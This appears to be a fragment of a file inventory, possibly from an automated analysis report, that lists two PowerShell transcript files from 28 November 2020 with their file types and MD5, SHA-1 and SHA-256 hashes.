C:\Users\user\Documents\20201128\PowerShell_transcript.445817.3hbNPFfq.20201128121858.txt	UTF-8 Unicode (with BOM) text, with CRLF line terminators	A41540735ABE757E3221307A63882472	C5013228DF7F4CE2D11079F3499A38DB8207A39A	BFB875CE79B251B8BF1124F1B3B7A869A3FF8871CD13CEB5C7F003204F84E820
C:\Users\user\Documents\20201128\PowerShell_transcript.445817.FB9lPag7.20201128121858.txt	UTF-8 Unicode (with BOM) text, with CRLF line terminators	D375714EDFC338BC2225B15A16F8A4BF	F53787DDE1C12B65CF626C965F19627F97BCE3E6	D1F3A5AC781B255EE16EC70DE67562DB57F264D9EA3DCDE89CCC49DF0BB9B117